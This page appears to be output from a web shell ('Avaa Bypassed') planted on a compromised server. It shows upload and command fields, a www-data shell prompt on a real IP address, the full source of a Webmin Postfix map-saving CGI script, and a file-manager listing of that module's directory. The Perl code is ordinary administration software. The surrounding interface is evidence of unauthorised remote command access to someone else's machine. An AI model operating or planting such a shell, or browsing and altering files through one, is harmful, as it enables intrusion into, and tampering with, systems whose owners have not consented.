[ Avaa Bypassed ]




Upload:

Command:

www-data@18.188.66.142: ~ $
#!/usr/bin/perl
# Show a form for selecting the source for a map

require './postfix-lib.pl';
&ReadParse();
&error_setup($text{'chooser_err'});
@oldmaps = &get_maps_types_files($in{'map'});

# Build a list of maps from inputs
for($i=0; defined($t = $in{"type_".$i}); $i++) {
	next if (!$t);

	if ($t eq "hash") {
		# Simple file
		$in{"hash_$i"} =~ /^[\/\.]\S+$/ ||
			&error(&text('chooser_ehash', $i+1));
		push(@maps, "hash:".$in{"hash_$i"});
		}
	elsif ($t eq "regexp") {
		# Regular expressions file
		$in{"regexp_$i"} =~ /^[\/\.]\S+$/ ||
			&error(&text('chooser_eregexp', $i+1));
		push(@maps, "regexp:".$in{"regexp_$i"});
		}
	elsif ($t eq "pcre") {
		# Perl-style regular expressions file
		$in{"pcre_$i"} =~ /^[\/\.]\S+$/ ||
			&error(&text('chooser_epcre', $i+1));
		push(@maps, "pcre:".$in{"pcre_$i"});
		}
	elsif ($t eq "mysqlsrc") {
		# Common MySQL source
		push(@maps, "mysql:".$in{"mysqlsrc_$i"});
		}
	elsif ($t eq "mysql") {
		# MySQL database
		if ($oldmaps[$i]->[0] eq "mysql" &&
		    $oldmaps[$i]->[1] =~ /^[\/\.]/) {
			# Same file as before
			$file = $oldmaps[$i]->[1];
			}
		else {
			# Pick a filename based on the field
			$file = &guess_config_dir()."/".$in{'mapname'}.
				($i ? ".$i" : "").".mysql.conf";
			}
		# Validate and save MySQL settings, starting with host
		if ($in{"mhosts_${i}_def"}) {
			&save_backend_config($file, "hosts", undef);
			}
		else {
			$in{"mhosts_$i"} =~ /\S/ ||
				&error(&text('chooser_emhosts', $i+1));
			&save_backend_config($file, "hosts", $in{"mhosts_$i"});
			}

		# Username
		$in{"muser_$i"} =~ /^\S+$/ ||
			&error(&text('chooser_emuser', $i+1));
		&save_backend_config($file, "user", $in{"muser_$i"});

		# Password
		$in{"mpassword_$i"} =~ /^\S+$/ ||
			&error(&text('chooser_empassword', $i+1));
		&save_backend_config($file, "password", $in{"mpassword_$i"});

		# Custom query
		if (&compare_version_numbers($postfix_version, 2.2) >= 0) {
			if ($in{"mquery_${i}_def"}) {
				&save_backend_config($file, "query", undef);
				}
			else {
				$in{"mdbname_$i"} =~ /\S/ ||
					&error(&text('chooser_emquery', $i+1));
				&save_backend_config($file, "query",
						     $in{"mquery_$i"});
				}
			}

		# Database name 
		$in{"mdbname_$i"} =~ /^\S+$/ ||
			&error(&text('chooser_emdbname', $i+1));
		&save_backend_config($file, "dbname", $in{"mdbname_$i"});

		# Table name
		$in{"mtable_$i"} =~ /^\S+$/ ||
			&error(&text('chooser_emtable', $i+1));
		&save_backend_config($file, "table", $in{"mtable_$i"});

		# Value field
		$in{"mselect_field_$i"} =~ /^[a-z0-9\_]+$/i ||
			&error(&text('chooser_emselect_field', $i+1));
		&save_backend_config($file, "select_field",
				     $in{"mselect_field_$i"});

		# Key field
		$in{"mwhere_field_$i"} =~ /^[a-z0-9\_]+$/i ||
			&error(&text('chooser_emwhere_field', $i+1));
		&save_backend_config($file, "where_field",
				     $in{"mwhere_field_$i"});

		# Additional select conditions
		if ($in{"madditional_conditions_${i}_def"}) {
			&save_backend_config($file, "additional_conditions");
			}
		else {
			$in{"madditional_conditions_$i"} =~ /\S/ ||
				&error(&text('chooser_emadditional', $i+1));
			&save_backend_config($file, "additional_conditions",
					     $in{"madditional_conditions_$i"});
			}

		push(@maps, "mysql:$file");
		push(@files, $file);
		}
	elsif ($t eq "ldap") {
		# LDAP database
		if ($oldmaps[$i]->[0] eq "ldap" &&
		    $oldmaps[$i]->[1] =~ /^[\/\.]/) {
			# Same file as before
			$file = $oldmaps[$i]->[1];
			}
		else {
			# Pick a filename based on the field
			$file = &guess_config_dir()."/".$in{'mapname'}.
				($i ? ".$i" : "").".ldap.conf";
			}

		# Save LDAP server hostname
		if ($in{"lserver_host_${i}_def"}) {
			&save_backend_config($file, "server_host", undef);
			}
		else {
			$in{"lserver_host_$i"} =~ /\S/ ||
				&error(&text('chooser_elserver_host', $i+1));
			&save_backend_config($file, "server_host",
					     $in{"lserver_host_$i"});
			}

		# LDAP port number
		if ($in{"lserver_port_${i}_def"}) {
			&save_backend_config($file, "server_port", undef);
			}
		else {
			$in{"lserver_port_$i"} =~ /^\d+$/ ||
				&error(&text('chooser_elserver_port', $i+1));
			&save_backend_config($file, "server_port",
					     $in{"lserver_port_$i"});
			}

		# Start TLS?
		&save_backend_config($file, "start_tls", $in{"lstart_tls_$i"});

		# Search base
		$in{"lsearch_base_$i"} =~ /\S/ ||
			&error(&text('chooser_elsearch_base', $i+1));
		&save_backend_config($file, "search_base",
				     $in{"lsearch_base_$i"});

		# Query filter
		if ($in{"lquery_filter_${i}_def"}) {
			&save_backend_config($file, "query_filter", undef);
			}
		else {
			$in{"lquery_filter_$i"} =~ /^\S+$/ ||
				&error(&text('chooser_elquery_filter', $i+1));
			&save_backend_config($file, "query_filter",
					     $in{"lquery_filter_$i"});
			}

		# Resulting attribute
		if ($in{"lresult_attribute_${i}_def"}) {
			&save_backend_config($file, "result_attribute", undef);
			}
		else {
			$in{"lresult_attribute_$i"} =~ /^\S+$/ ||
			    &error(&text('chooser_elresult_attribute', $i+1));
			&save_backend_config($file, "result_attribute",
					     $in{"lresult_attribute_$i"});
			}

		# Search scope
		&save_backend_config($file, "scope", $in{"lscope_$i"} || undef);

		# Login to server?
		&save_backend_config($file, "bind", $in{"lbind_$i"});

		# Username
		if ($in{"lbind_dn_${i}_def"}) {
			&save_backend_config($file, "bind_dn", undef);
			}
		else {
			$in{"lbind_dn_$i"} =~ /\S/ ||
				&error(&text('chooser_elbind_dn', $i+1));
			&save_backend_config($file, "bind_dn",
					     $in{"lbind_dn_$i"});
			}

		# Password
		if ($in{"lbind_pw_${i}_def"}) {
			&save_backend_config($file, "bind_pw", undef);
			}
		else {
			$in{"lbind_pw_$i"} =~ /\S/ ||
				&error(&text('chooser_elbind_pw', $i+1));
			&save_backend_config($file, "bind_pw",
					     $in{"lbind_pw_$i"});
			}

		push(@maps, "ldap:$file");
		push(@files, $file);
		}
	elsif ($t eq "other") {
		# Some other map
		$in{"other_$i"} =~ /^[a-z0-9]+:[^, ]+$/i ||
			&error(&text('chooser_eother', $i+1));
		push(@maps, $in{"other_$i"});
		}
	else {
		&error("Unknown type $t");
		}
	}
@maps || &error($text{'chooser_enone'});

# Write out mysql and LDAP files
@files = &unique(@files);
@newfiles = map { !-r $_ } @files;
foreach $f (@files) {
	&lock_file($f);
	}
&flush_file_lines(@files);
foreach $f (@newfiles) {
	&set_ownership_permissions(undef, undef, 0700, $f);
	}
foreach $f (@files) {
	&unlock_file($f);
	}

# Create final string for map
$str = join(",", @maps);
&popup_header($text{'chooser_title'});

print <<EOF;
<script>
top.opener.ifield.value = "$str";
window.close();
</script>
EOF

if (@files) {
	&webmin_log("backend", undef, $in{'map_name'});
	}
&popup_footer();


Filemanager

Name Type Size Permission Actions
help Folder 0755
images Folder 0755
lang Folder 0755
CHANGELOG File 6.56 KB 0644
acl_security.pl File 863 B 0755
address_rewriting.cgi File 1.15 KB 0755
aliases-lib.pl File 7.93 KB 0755
aliases.cgi File 2.97 KB 0755
autoreply.pl File 12.19 KB 0755
backup_config.pl File 730 B 0755
bcc.cgi File 1.41 KB 0755
body.cgi File 951 B 0755
boxes-lib.pl File 80.37 KB 0755
canonical.cgi File 1.12 KB 0755
canonical_edit.cgi File 734 B 0755
client.cgi File 2.22 KB 0755
config File 702 B 0644
config-AlmaLinux-8.0-ALL File 804 B 0644
config-CentOS-Linux-7.0-ALL File 804 B 0644
config-CentOS-Stream-Linux-8.0-ALL File 804 B 0644
config-CloudLinux-8.0-ALL File 804 B 0644
config-Oracle-Linux-8.0-ALL File 804 B 0644
config-Rocky-Linux-8.0-ALL File 804 B 0644
config-debian-linux-10.0-ALL File 804 B 0644
config-freebsd File 783 B 0644
config-freebsd-8-ALL File 886 B 0644
config-mandrake-linux File 721 B 0644
config-msc-linux File 721 B 0644
config-netbsd File 721 B 0644
config-openSUSE-Linux-15.0-ALL File 804 B 0644
config-pardus-linux File 783 B 0644
config-redhat-linux-24.0-ALL File 804 B 0644
config-syno-linux File 998 B 0644
config.info File 2.54 KB 0644
config.info.bg File 4.54 KB 0644
config.info.ca File 2.95 KB 0644
config.info.cs File 664 B 0644
config.info.de File 2.77 KB 0644
config.info.es File 444 B 0644
config.info.fr File 597 B 0644
config.info.hu File 0 B 0644
config.info.ja File 2.92 KB 0644
config.info.nl File 2.71 KB 0644
config.info.no File 2.67 KB 0644
config.info.pl File 554 B 0644
config.info.ru File 880 B 0644
config.info.sv File 547 B 0644
config.info.tr File 437 B 0644
config.info.uk File 909 B 0644
config.info.zh File 405 B 0644
config.info.zh_TW File 453 B 0644
debug.cgi File 815 B 0755
defaultacl File 332 B 0644
delete_aliases.cgi File 820 B 0755
delete_mappings.cgi File 596 B 0755
delete_queues.cgi File 1.95 KB 0755
dependent.cgi File 988 B 0755
detach_queue.cgi File 651 B 0755
edit_access.cgi File 676 B 0755
edit_afile.cgi File 1.08 KB 0755
edit_alias.cgi File 438 B 0755
edit_canonical_mappings.cgi File 1.29 KB 0755
edit_ffile.cgi File 2.05 KB 0755
edit_manual.cgi File 1.08 KB 0755
edit_mapping.cgi File 2.75 KB 0755
edit_master.cgi File 3.15 KB 0755
edit_rfile.cgi File 3.05 KB 0755
filter.pl File 1.99 KB 0755
flushq.cgi File 513 B 0755
general.cgi File 4.08 KB 0755
header.cgi File 986 B 0755
index.cgi File 4.21 KB 0755
install_check.pl File 384 B 0755
ldap.cgi File 1.19 KB 0755
local_delivery.cgi File 1.84 KB 0755
log_parser.pl File 795 B 0755
mailq.cgi File 2.44 KB 0755
mailq_search.cgi File 979 B 0755
manual.cgi File 996 B 0755
manual_update.cgi File 610 B 0755
map_chooser.cgi File 5.58 KB 0755
map_chooser_save.cgi File 6.54 KB 0755
master.cgi File 1.26 KB 0755
module.info File 158 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 89 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 116 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 137 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 126 B 0644
module.info.ca File 88 B 0644
module.info.ca.auto File 16 B 0644
module.info.cs File 29 B 0644
module.info.cs.auto File 70 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 88 B 0644
module.info.de File 78 B 0644
module.info.de.auto File 16 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 141 B 0644
module.info.es File 34 B 0644
module.info.es.auto File 68 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 95 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 117 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 92 B 0644
module.info.fr File 33 B 0644
module.info.fr.auto File 73 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 117 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 114 B 0644
module.info.hu File 30 B 0644
module.info.hu.auto File 69 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 96 B 0644
module.info.ja File 26 B 0644
module.info.ja.auto File 77 B 0644
module.info.ko File 23 B 0644
module.info.ko.auto File 75 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 121 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 103 B 0644
module.info.ms File 78 B 0644
module.info.ms.auto File 16 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 97 B 0644
module.info.nl File 28 B 0644
module.info.nl.auto File 63 B 0644
module.info.no File 30 B 0644
module.info.no.auto File 61 B 0644
module.info.pl File 35 B 0644
module.info.pl.auto File 68 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 105 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 114 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 103 B 0644
module.info.ru File 35 B 0644
module.info.ru.auto File 95 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 102 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 104 B 0644
module.info.sv File 30 B 0644
module.info.sv.auto File 61 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 174 B 0644
module.info.tr File 34 B 0644
module.info.tr.auto File 70 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 143 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 128 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 100 B 0644
module.info.zh File 23 B 0644
module.info.zh.auto File 59 B 0644
module.info.zh_TW File 26 B 0644
module.info.zh_TW.auto File 65 B 0644
postfinger.cgi File 13.89 KB 0755
postfix-lib.pl File 63.46 KB 0755
prefs.info File 86 B 0644
rate.cgi File 1.1 KB 0755
reload.cgi File 265 B 0755
relocated.cgi File 954 B 0755
resource.cgi File 1.49 KB 0755
sasl.cgi File 3.08 KB 0755
save_afile.cgi File 580 B 0755
save_alias.cgi File 2.7 KB 0755
save_client.cgi File 1.67 KB 0755
save_ffile.cgi File 860 B 0755
save_manual.cgi File 665 B 0755
save_map.cgi File 2.59 KB 0755
save_master.cgi File 2.33 KB 0755
save_opts.cgi File 638 B 0755
save_opts_aliases.cgi File 582 B 0755
save_opts_bcc.cgi File 464 B 0755
save_opts_body.cgi File 636 B 0755
save_opts_canonical.cgi File 716 B 0755
save_opts_dependent.cgi File 609 B 0755
save_opts_header.cgi File 650 B 0755
save_opts_misc.cgi File 629 B 0755
save_opts_relocated.cgi File 637 B 0755
save_opts_sni.cgi File 553 B 0755
save_opts_transport.cgi File 636 B 0755
save_opts_virtual.cgi File 624 B 0755
save_rfile.cgi File 1.25 KB 0755
save_sasl.cgi File 2.95 KB 0755
smtp.cgi File 2.39 KB 0755
smtpd.cgi File 2.7 KB 0755
sni.cgi File 960 B 0755
start.cgi File 341 B 0755
stop.cgi File 337 B 0755
transport.cgi File 955 B 0755
view_mailq.cgi File 3.49 KB 0755
virtual.cgi File 1.05 KB 0755